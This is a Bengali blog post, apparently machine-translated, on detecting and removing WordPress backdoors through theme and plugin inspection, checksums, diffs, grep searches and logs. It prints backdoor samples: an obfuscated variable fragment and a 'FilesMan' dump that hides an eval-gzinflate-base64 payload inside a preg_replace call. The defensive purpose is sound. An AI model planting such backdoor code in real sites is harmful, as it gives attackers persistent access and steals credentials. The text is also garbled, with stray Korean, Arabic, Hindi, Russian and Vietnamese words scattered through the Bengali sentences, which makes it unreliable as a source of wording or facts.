ওয়ার্ডপ্রেস ব্যাকডোর কী?
ওয়ার্ডপ্রেস ব্যাকডোর হলো এমন কোড যা আক্রমণকারীদের সার্ভারে অননুমোদিত এবং 지속적인 অ্যাক্সেস দেয়। প্রায়শই এটি কোথাও লুকানো একটি ম্যালিশিয়াস ফাইল। আবারও এটি একটি ইনফেক্টেড প্লাগইন হতে পারে। ওয়ার্ডপ্রেস ব্যাকডোর হ্যাকের নতুন ভেরিয়েন্ট প্রতি মাসে পাওয়া যায়।
হ্যাকাররা সবসময় ওয়ার্ডপ্রেস ব্যাকডোর ইনজেক্ট করার চেষ্টায় থাকে। একাধিক প্লাগইন سالের পর سال ইনফেকশন ছড়িয়ে দিয়েছে। তাই হুমলা যেকোনো দিকে থেকে আসতে পারে। পরে ওয়ার্ডপ্রেস ব্যাকডোর রিমুভ করা সময় ও রিসোর্স সাপেক্ষ প্রক্রিয়া হতে পারে। তবে প্রতিরক্ষামূলক ব্যবস্থা সবসময় ক্ষতি নিয়ন্ত্রণ করতে পারে। একটি সিকিউর ওয়ার্ডপ্রেস সাইট আক্রমণ विलম্বিত করতে পারে যদি না প্রতিরোধ করুক। এই ব্লগে আমরা ওয়ার্ডপ্রেস ব্যাকডোর খুঁজে বের করা এবং ফিক্স করার বিষয়ে আরও জানব।
ওয়ার্ডপ্রেস ব্যাকডোর হ্যাকের কারণ কী?
ওয়ার্ডপ্রেস সাইট সেটআপ করা পরিমাণে সহজ। কিন্তু একাধিক লুপহোল ওয়ার্ডপ্রেস ব্যাকডোরের পথ প্রশস্ত করতে পারে। সুবিধার্থে, আমরা এটিকে কয়েকটি প্রধান কারণএ সংকুচিত করতে পারি। এগুলো হলো:
- কখনও কখনও বাগি প্লাগইন বা থিমের কারণে।
- আপনার সাইটের লগইন শংসাপত্র দুর্বল বা ডিফল্ট।
- ফাইল পারমিশন দুর্বল থাকা সংবেদনশীল ফাইল এক্সপোজ করে।
- ফায়ারওয়াল বা কোনো সিকিউরিটি সলিউশন ব্যবহার না করা।
- ইনস্টলেশন পুরনো রাখা।
- অন্যান্য ওয়েবসাইটের সাথে ইনফেক্টেড সার্ভার শেয়ার করা। আপনার সার্ভিস প্রোভাইডারকে সাবনেটিংয়ের জন্য বলুন।
সম্পর্কিত গাইড – ওয়ার্ডপ্রেস সিকিউরিটির সম্পূর্ণ ধাপে ধাপে গাইড (হ্যাক হবার ঝুঁকি ৯০% কমান)
ওয়ার্ডপ্রেস ব্যাকডোর খুঁজে বের করা
থিমে ওয়ার্ডপ্রেস ব্যাকডোর লোকেট করা
নিষ্ক্রিয় থিমগুলো ওয়ার্ডপ্রেস ব্যাকডোর লুকানোর সেরা জায়গা। হ্যাকাররা এই বিষয়টি জানেন এবং প্রায়শই আপনার সাইটে এমন থিম খুঁজে বের করেন। কারণ আপনি সেখানে চেক করার কম संभावনা থাকায় এটি নিষ্ক্রিয়। WP থিমে একটি Криটিক্যাল ফাইল থাকে functions.php নামে। এই ফাইলটি নেটিভ PHP, ওয়ার্ডপ্রেস এবং অন্যান্য ফাংশন কল করার জন্য দায়ী। সহজ ভাষায়, এটি যেকোনো ধরনের অপারেশন পারফর্ম করতে পারে। প্রায়শই আক্রমণকারীরা ওয়ার্ডপ্রেস ব্যাকডোর পেতে এই ফাইল ইনজেক্ট করার চেষ্টা করে। নিচের ছবিতে একটি উদাহরণ দেওয়া হলো।
এই ম্যালিশিয়াস কোডটি functions.php ফাইলে присутੰ। এটি 트িগার হয় যখন আক্রমণকারী এই URL ভিজিট করে: www.yoursite.com/wp-includes/registration.php। তখন এই ফাংশন একটি নতুন ইউজার তৈরি করে:
id: backdooradmin
password: Pa55W0rd.
সুতরাং, আপনি যদি ইউজারটি ডিলিট করুন, তবে এই URL ভিজিট করলে এটি আবার তৈরি হয়ে যাবে। এটি একটি টিপিক্যাল ওয়ার্ডপ্রেস ব্যাকডোর উদাহরণ। তবে এই কোড ইনজেক্ট করা শুধু সার্ভার অ্যাক্সেস পাওয়ার পর সম্ভব। এটি ওপেন FTP পোর্ট বা অন্যান্য লুপহোল ব্যবহার করে হতে পারে।
প্লাগইনে ওয়ার্ডপ্রেস ব্যাকডোর লোকেট করা
ওয়ার্ডপ্রেস ব্যাকডোর হ্যাক প্রায়শই বাগি প্লাগইনের কারণে হয়। বছরের পর বছর একাধিক প্লাগইনে বাগ পাওয়া গেছে। এই বছর সাম্প্রতিকটা ছিল কন্ট্যাক্ট ফর্ম ৭। এই প্লাগইনের ৫ মিলিয়নেরও বেশি সক্রিয় ব্যবহারকারী আছে। বিপরীতভাবে, বাগটি প্রিভিলেজ এস্ক্যালেশনের দিকে নিয়ে এল। প্লাগইন ফাইলগুলো মডিফাই হলে ড্যাশবোর্ডে দেখা যাবে না। কিন্তু FTP সার্চ এতে টা ফাইলগুলো প্রকাশ করতে পারে। আরও লেজিটিমেট দেখানোর জন্য ব্যাকডোর ফাইলগুলো হেল্প ফাইল নামে নামকরণ করা হয়। প্লাগইনে ব্যাকডোর পাওয়ার কারণগুলো:
- অনভিজ্ঞ প্লাগইনগুলো ইনফেক্ট হওয়ার সম্ভাবনা বেশি। কারণ সেগুলো দীর্ঘকাল ধরে ব্যাকডোর লুকাতে পারে।
- অবিশ্বস্ত এবং অপ্রচলিত প্লাগইনগুলো প্রায়শই খারাপ কোড করা থাকে। তাই ওয়ার্ডপ্রেস ব্যাকডোর হ্যাকের সম্ভাবনা বাড়ে।
- পুরনো প্লাগইনগুলো লক্ষ্য হওয়ার সম্ভাবনা বেশি। কারণ অনেক লোক সেগুলো আপডেট না করে চালিয়ে যাচ্ছে।
- এই বাগি প্লাগইনগুলো অন্যান্য কোর ফাইল মডিফাই করতে সাহায্য করতে পারে।
তাই যেকোনো অজানা প্লাগইনের জন্য সতর্ক থাকুন। সকল অনব্যবহৃত প্লাগইন ক্লিন করুন!
ইনস্টলেশন ফাইলগুলিতে ওয়ার্ডপ্রেস ব্যাকডোর লোকেট করা
প্লাগইন ইনফেক্ট হওয়ার পর কোর ফাইল মডিফাই করা পরবর্তী ধাপ। বেস ফাইলগুলিতে রোগ কোড থাকতে পারে বা নতুন ফাইল যোগ হতে পারে। কখনও কখনও ব্যাকডোর গিব্বারিশ কোডের মতো দেখতে পারে:
$t43="l/T6\\:aAcNLn#?rP}1\rG_ -s`SZ\$58t\n7E{.*]ixy3h,COKR2dW[0!U\tuQIHf4bYm>wFz<admin@wsxdn.com&(BjX'~|ge%p+oMJv^);\"k9";
$GLOBALS['ofmhl60'] = ${$t43[20].$t43
এই কোড পরিচিত টেকনিক ব্যবহার করে অবফাসকেট করা হয়েছে। এতে মানুষের পড়া কঠিন হয়। তাই এমন মাছিল কোড খুঁজে বের করুন এবং এটা ধারণকারী ফাইলগুলো রিমUভ করুন। কখনও কখনও ব্যাকডোর লেজিটিমেট ফাইল হিসেবে xml.php, media.php, plugin.php ইত্যাদি হিসেবে উপস্থিত হতে পারে। যেহেতু ফাইল লেজিটিমেট লাগলেও সেটি স্কিপ করবেন না। আরও কোড পড়া কঠিন করার টেকনিক রয়েছে।
আপনার ফাইলগুলিতে FilesMan কীওয়ার্ড খুঁজে বের করুন। উদাহরণস্বরূপ, এটি বিখ্যাত ব্যাকডোর Filesman:02-র ডাম্প। এই ব্যাকডোর সনাক্ত করা কঠিন এবং লগে দেখা যায় না। এটি পাসওয়ার্ড ও অন্যান্য ডিটেইল চুরি করতে ব্যবহৃত হয়।
<?php
$auth_pass = "";
$color = "#df5";
$default_action = "FilesMan";
$default_charset = "Windows-1251";
preg_replace("/.*/e","x65x76x61x6Cx28x67x7Ax69x6Ex66x6Cx61x74x65x28x62x61x73x65x36x34x5Fx64x65x63x6Fx64x65x28'7b1tVxs50jD8OXvO9R9Er3fanhhjm2Q2Y7ADIZCQSSAD5GUC3N623bZ7aLs93W0Mk+W/31Wll5b6xZhkdq/7OedhJtDdKpVKUkkqlapK3rDM1tzJLL4tl7qn+ycf90/O7ddnZ++7H+Ctu/t..NRCty4s8Uh1VQKxLg+xQC0T93+IV4sxw/c08okR1wKtoyadLX6Dl6tDg3WxVxFoHhkj6Yn/xc='x29x29x29x3B",".");
?>
উদাহরণস্বরূপ, ৬ নম্বর লাইনের কোড হেক্স ফর্ম্যাটে। কনভার্ট করলে এটি দেখাবে কিছুটা এইভাবে: preg_replace("/.*/e","eval(gzinfla\। হেক্স ক্যারেক্টার ডিকোড করার অনলাইন টুল আছে। সেগুলো ব্যবহার করুন! এছাড়াও আক্রমণকারী বেস৬৪ এনকোডিং ব্যবহার করে কোড লুকাতে পারে। সেটি একইভাবে বিতর্ক করুন। এখানে FilesMan কীওয়ার্ড ৪ নম্বর লাইনে আছে। এই ইনফেকশনের এইরকম ভেরিয়েন্টে এই কীওয়ার্ড থাকে। কখনও কখনও কোড .htaccess এর মতো সংবেদনশীল ফাইলসহ ছেড়ছাড় করছে। তাই এই ফাইলগুলো ভালোভাবে চেক করুন!
ওয়ার্ডপ্রেস ব্যাকডোর হ্যাক ফিক্স করা
চেকসাম তুলনা
প্রথম ধাপ হলো চেকসাম তুলনা করা। এটি ফাইল ইন্টিগ্রিটির হিউরিস্টিক নির্ধারণ। ম্যানুয়াল ইনস্পেকশন করা যেতে পারে। বরং, এর জন্য ফ্রি অটোমেটিক টুলও উপলব্ধ। শুধু কোর ফাইলগুলো নয়, প্লাগইন এবং থিমের জন্যও চেকসাম উপলব্ধ। আরো, আপনি পারসোনাল ব্ল্যাকলিস্ট মেইনটেইন করতে পারেন। পাবলিক ডোমেনে উপলব্ধ লিস্ট ব্যবহার করে এটি করা যায়। চেকসাম মেল না হলে ম্যানুয়ালি ওয়ার্ডপ্রেস ব্যাকডোর রিমUভ করার तरफ এগিয়ে যান।
কোর ফাইল ইন্টিগ্রিটি
দ্বিতীয়ত, যেসব ফাইল ভিন্ন চেকসাম মান দেখাচ্ছে সেগুলো ম্যানুয়ালি ইনস্পেক্ট করুন। খুব সম্ভব ওয়ার্ডপ্রেস ব্যাকডোর হ্যাক نے ফাইলগুলো টেম্পার করেছে। সুতরাং, ইনস্টলেশন ফাইলগুলোর ইন্টিগ্রিটি যাচাই করা যেতে পারে। নতুন ওয়ার্ডপ্রেস কপি ডাউনলোড করে শুরু করুন।
$ mkdir WordPress
$ cd WordPress
$ wget https://github.com/WordPress/WordPress/archive/4.9.8.zip
$ tar -zxvf 4.9.8.zip
এই কমান্ডগুলো WordPress নামে একটি ডিরেক্টরি তৈরি করল এবং সেখানে স্যুইচ করল। প্রথম লাইন কোড ব্যবহার করে লেটেস্ট ওয়ার্ডপ্রেস ভার্সন (এই কেসে 4.9.8) ডাউনলোড করল। দ্বিতীয় লাইন এটি এক্সট্র্যাক্ট করল। এবার আসে গুরুত্বপূর্ণ ধাপ। $ diff -r path/to/your/file.php /Wordpress/wp-cron.php। এই কোড দুটি ফাইলের মধ্যে পার্থক্য তুলনা করে। যেহেতু ওয়ার্ডপ্রেস ব্যাকডোর আপনার ফাইলগুলো এডিট করছে, এতে পরিবর্তনগুলো দেখাবে। কিন্তু কিছু ফাইল ডাইনামিক যেমন xmlrpc.php। এই ফাইল RPC-এর মাধ্যমে ইউজার এবং সার্ভিসদের সাইটের সাথে ইন্টারঅ্যাক্ট করতে সাহায্য করে। হ্যাকাররা এটা জানেন এবং প্রায়শই এখানে ব্যাকডোর লুকানোর চেষ্টা করে। তাই এটি ভালোভাবে চেক করুন যাতে ওয়ার্ডপ্রেস ব্যাকডোর খুঁজে বের করা ও রিমUভ করা যায়।
এনকোডিং
কখনও কখনও ফাইলগুলো মডিফাইড দেখাচ্ছে কিন্তু আপনার কাছে অনরিডেবল হতে পারে। তখন আপনি base64 এনকোডিং খুঁজে বের করে ওয়ার্ডপ্রেস ব্যাকডোর হ্যাক ক্লিনআপ শুরু করতে পারেন। এখানে grep কমান্ড চমৎকার কাজ করতে পারে। নিচের কমান্ড ব্যবহার করুন:
find . -name "*.php" -exec grep "base64"'{}'\; -print &> output.txt
এই কমান্ড output.txt-এ সকল base64 ডিটেকশন সুন্দরভাবে লিস্ট করবে। এখান থেকে আপনি অনলাইন টুল ব্যবহার করে প্লেইনটেক্সটে ডিকোড করতে পারেন। এছাড়া, আপনি যদি .php ছাড়া অন্যান্য ফাইলে সার্চ করতে চান তবে কোডে *.php শব্দটি রিপ্লেস করুন। ম্যালিশিয়াস কোড হেক্স ফর্ম্যাটেও থাকতে পারে। তাই আপনি grep -Pr "[\x01\x02\x03]" ব্যবহার করতে পারেন। অন্যান্য সাদৃশ্য এনকোডিংর জন্য এই ধাপটি রিপিট করুন। এই ফাইলগুলো বা ম্যালিশিয়াস কোডের লাইনগুলো ডিলিট করে ওয়ার্ডপ্রেস ব্যাকডোর রিমUভ করুন।
সার্ভার লগ ব্যবহার করা
সার্ভার লগ ওয়ার্ডপ্রেস ব্যাকডোর রিমUভ করতে সাহায্য করতে পারে। প্রথমে, আপনাকে দেখতে হবে নির্দিষ্ট তারিখের পর কোন ফাইলগুলো এডিট হয়েছে। এছাড়া FTP লগ চেক করুন যাতে আপনার সার্ভারের সাথে কানেক্ট করার IP গুলো পেয়ে যান। সম্প্রতি এডিট করা ফাইলগুলোতে নজর রাখুন। 더불어 ইমেজ ফোল্ডার চেক করুন। কেউ ইমেজ ফোল্ডারে এক্সিকিউটেবল ফাইল থাকার আশা করে না। সেজন্য হ্যাকাররা সেখানে ব্যাকডোর লুকাতে পছন্দ করে। এছাড়া, নিশ্চিত করুন সংবেদনশীল ফাইলগুলোর পারমিশন উপযুক্ত। আপনার ফাইল পারমিশন 444 (r–r–r–) অথবা 440 (r–r—–) সেট করুন। বিশেষভাবে ইমেজ ফোল্ডারে যেকোনো পরিবর্তন খুঁজে বের করুন।
আপডেট এবং ব্যাকআপ
আপনার ওয়ার্ডপ্রেস ওয়েবসাইট আপডেট রাখার গুরুত্ব বারবার জোর দেওয়া হয়েছে। একটি পুরনো ইনস্টলেশন ইনফেক্টেড থাকার সমান।
আপনি যদি ওয়ার্ডপ্রেস ব্যাকডোর হ্যাকের কারণ ট্রেস করতে না পারেন, তবে বর্তমান সাইটের ব্যাকআপ নিয়ে সেটি রিস্টোর করুন এবং তারপর দুটো তুলনা করুন।
আপনার যদি কোনো এক্সিস্টিং ব্যাকআপ না থাকে এবং কোর ওয়ার্ডপ্রেস ফাইলগুলো ফ্রেশ দিয়ে রিপ্লেস করতে চান। তখন বর্তমান সাইটের ব্যাকআপ নিয়ে ম্যানুয়ালি আপনার ওয়ার্ডপ্রেস ওয়েবসাইট আপডেট করুন।
আরো, আপনি যে প্লাগইনগুলো ব্যবহার করছেন সেগুলোর সাথে কোনো ভালনারেবিলিটি রিপোর্ট করা থাকলে, সেগুলো অবিলম্বে আপডেট করার পরামর্শ দেওয়া হয়। যদি প্যাচে সময় লাগে তবে বিকল্প প্লাগইন ব্যবহার করুন। অফিসিয়াল ব্লগ থেকে প্যাচ সবচেয়ে আগে পেতে আপডেটেড থাকুন।
ওয়ার্ডপ্রেস ব্যাকডোর স্ক্যানার ব্যবহার করুন
মানুষ ভুল করতে পারে। ম্যানুয়ালি ইনস্পেক্ট করা ক্লান্তিকর এবং ভুলের সম্ভাবনা থাকে। এতে ওয়ার্ডপ্রেস ব্যাকডোর হ্যাক পুনরাবৃত্তি হতে পারে। এর সমাধান অটোমেশন। বাজারে আজকাল khá উন্নত টুল উপলব্ধ। এই স্ক্যানারগুলো লুকানো ওয়ার্ডপ্রেস ব্যাকডোরের লোকেশন সনাক্ত করতে পারে এবং সেই ব্যাকডোর রিমUভ করার ধাপগুলো প্রদান করতে পারে।